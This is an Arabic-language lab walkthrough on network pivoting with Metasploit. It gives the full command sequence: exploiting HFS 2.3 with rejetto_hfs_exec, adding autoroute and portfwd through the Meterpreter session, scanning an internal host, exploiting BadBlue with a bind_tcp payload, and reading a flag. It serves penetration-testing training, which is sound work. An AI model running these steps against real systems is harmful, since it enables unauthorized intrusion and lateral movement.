# 🧪1. الارتكاز ( Pivoting Lab)

🎯 **الهدف الأساسي**: استخدام نظام مخترق (Victim 1) كنقطة انطلاق للوصول إلى نظام آخر (Victim 2) في شبكة داخلية لا يمكن الوصول إليها مباشرة من Kali Linux، وذلك عبر إضافة مسارات توجيه (autoroute) وإعادة توجيه المنافذ (port forwarding) في Metasploit.

🔧 **الأدوات المستخدمة**:

* Nmap
* Metasploit Framework (MSFConsole)
* `exploit/windows/http/rejetto_hfs_exec` (Metasploit module للاستغلال الأولي)
* Meterpreter commands: `ifconfig`, `run autoroute -s [Subnet/Mask]`, `background`, `sessions`, `portfwd add -L [Local IP] -l [Local Port] -r [Remote IP] -p [Remote Port]`
* `auxiliary/scanner/portscan/tcp` (Metasploit Auxiliary module للفحص الداخلي)
* `exploit/windows/http/badblue_passthru_overflow` (Metasploit module لاستغلال Victim 2)
* Payload: `windows/meterpreter/bind_tcp`

📜 **خطوات التنفيذ**:

📊 **أولاً: الاستطلاع والفحص والاستغلال (Reconnaissance, Scanning & Exploitation)** 🗣️ **إذا حصلت** على عنواني IP لنظامين مستهدفين (Victim 1 و Victim 2).

* **لو قمت** بعمل `ping` على كلا النظامين، **فسوف تكتشف** أن Victim 1 يمكن الوصول إليه مباشرة من Kali، بينما Victim 2 لا يمكن الوصول إليه مباشرة.
* **لو نفذت** فحص Nmap على Victim 1 لتحديد الخدمات المفتوحة وإصداراتها على المنفذ 80:

  ```bash
  nmap -sV -p 80 [Victim 1 IP]
  ```

  **فسوف يظهر** أن خدمة `HTTP File Server 2.3` تعمل على المنفذ 80.
* **لو استخدمت** وحدة استغلال `rejetto_hfs_exec` في Metasploit:

  ```bash
  msfconsole -q
  use exploit/windows/http/rejetto_hfs_exec
  set RHOSTS [Victim 1 IP]
  exploit
  ```

  **فسوف تحصل** على جلسة Meterpreter على Victim 1.

📊 **ثانياً: اكتشاف الشبكات الداخلية وإضافة مسار (Post-Exploitation - Pivoting)**

* **لو قمت** بتعداد واجهات الشبكة على Victim 1:

  ```
  ifconfig # داخل جلسة Meterpreter
  ```

  **فسوف تكتشف** أن Victim 1 لديه واجهات شبكة متعددة، مما يشير إلى اتصاله بشبكات داخلية أخرى (مثلاً `10.0.2.0/24`).
* **🔑لو قمت بإضافة** مسار توجيه جديد داخل جلسة Meterpreter على Victim 1، لتخبر Metasploit كيفية الوصول إلى الشبكة الداخلية الجديدة عبر Victim 1:

  ```
  run autoroute -s 10.0.2.0/24 # مثال على الشبكة الداخلية
  ```

  **فسوف يتم** إضافة مسار التوجيه، مما يسمح لأوامر Metasploit بالاتصال بالشبكة الداخلية عبر Victim 1.

📊 **ثالثاً: فحص الأنظمة البعيدة في الشبكة الداخلية (Post-Exploitation - Pivoting)**

* **لو وضعت** جلسة Meterpreter في الخلفية:

  ```
  background
  ```
* **لو استخدمت** موديول Metasploit Auxiliary لفحص المنافذ المفتوحة على Victim 2 (الذي يقع في الشبكة الداخلية):

  ```bash
  use auxiliary/scanner/portscan/tcp
  set RHOSTS [Victim 2 IP] # IP لـ Victim 2 (مثلاً 10.0.2.69)
  set PORTS 1-1000 # أو أي نطاق منافذ
  run
  ```

  **فسوف يعرض** لك المنافذ المفتوحة على Victim 2 (مثلاً المنفذ 80).

📊 **رابعاً: إعادة توجيه المنافذ (Port Forwarding) لفحص Nmap (Post-Exploitation - Pivoting)**

* **إذا أردت** إجراء فحص Nmap مفصل (لتحديد إصدار الخدمات) من Kali Linux على Victim 2، **فعليك** إعادة توجيه المنافذ.
* **لو عدت** إلى جلسة Meterpreter على Victim 1:

  ```
  sessions 1 # افترض أن رقم الجلسة 1
  ```
* **🔑لو قمت بإعادة توجيه** المنفذ 80 على Victim 2 إلى منفذ محلي على Kali (مثلاً 1234):

  ```
  portfwd add -L 127.0.0.1 -l 1234 -r 10.0.2.69 -p 80 # مثال
  ```

  **فسوف يتم** إعادة توجيه حركة المرور.
* **على Kali Linux (في New Tab)**:
  * **لو قمت بتشغيل** Nmap على المنفذ المحلي المعاد توجيهه على `localhost`:

    ```bash
    nmap -sV -p 1234 localhost
    ```

    **فسوف يكتشف** Nmap الخدمة التي تعمل على المنفذ 80 على Victim 2 (مثلاً `Bad Blue 2.7`).

📊 **خامساً: استغلال النظام الثاني (Victim 2) (Post-Exploitation - Pivoting)**

* **بعد تحديد** الخدمة الضعيفة على Victim 2 (مثلاً Bad Blue 2.7).
* **لو وضعت** جلسة Meterpreter في الخلفية:

  ```
  background
  ```
* **لو استخدمت** موديول Metasploit Exploit المناسب (مثلاً `exploit/windows/http/badblue_passthru_overflow`):

  ```bash
  use exploit/windows/http/badblue_passthru_overflow
  set RHOSTS [Victim 2 IP] # استخدام IP لـ Victim 2 مباشرة
  set PAYLOAD windows/meterpreter/bind_tcp # استخدم bind_tcp بدلاً من reverse_tcp
  exploit
  ```

  **فسوف تحصل** على جلسة Meterpreter على Victim 2.
* **للحصول على الفلاج**:
  * **لو دخلت** إلى جلسة Meterpreter لـ Victim 2:

    ```
    sessions 2 # افترض أن رقم الجلسة 2
    shell
    cd C:\
    dir # ستجد ملف flag.txt
    type flag.txt
    ```

    **فسوف يعرض** لك قيمة الفلاج.

✅ **نقاط التحقق**:

* الوصول الأولي إلى Victim 1.
* 🔑 **نجاح إضافة مسار التوجيه** (`autoroute`) لشبكة Victim 2.
* القدرة على فحص المنافذ على Victim 2 باستخدام `auxiliary/scanner/portscan/tcp`.
* 🔑 **نجاح إعداد `portfwd`** لإعادة توجيه المنفذ.
* القدرة على فحص Victim 2 باستخدام Nmap من Kali عبر المنفذ المعاد توجيهه.
* 🔑 **الحصول على جلسة Meterpreter على Victim 2**.
* القدرة على قراءة الفلاج من Victim 2.
